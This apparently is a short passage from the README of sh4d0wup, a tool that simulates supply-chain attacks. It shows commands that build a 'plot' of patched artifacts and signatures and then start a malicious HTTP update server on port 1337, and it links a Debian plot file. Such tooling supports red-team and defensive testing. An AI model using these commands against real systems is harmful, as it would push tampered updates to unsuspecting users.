## 📦 Compile a plot
Some plots are more complex to run than others, to avoid long startup time due
to downloads and artifact patching, you can build a plot in advance. This also
allows to create signatures in advance.
```
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst
```
## 🦝 Run a plot
This spawns a malicious http update server according to the plot. This also
accepts yaml files but they may take longer to start.
```
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst
```

- [`contrib/plot-debian.yaml`](contrib/plot-debian.yaml)
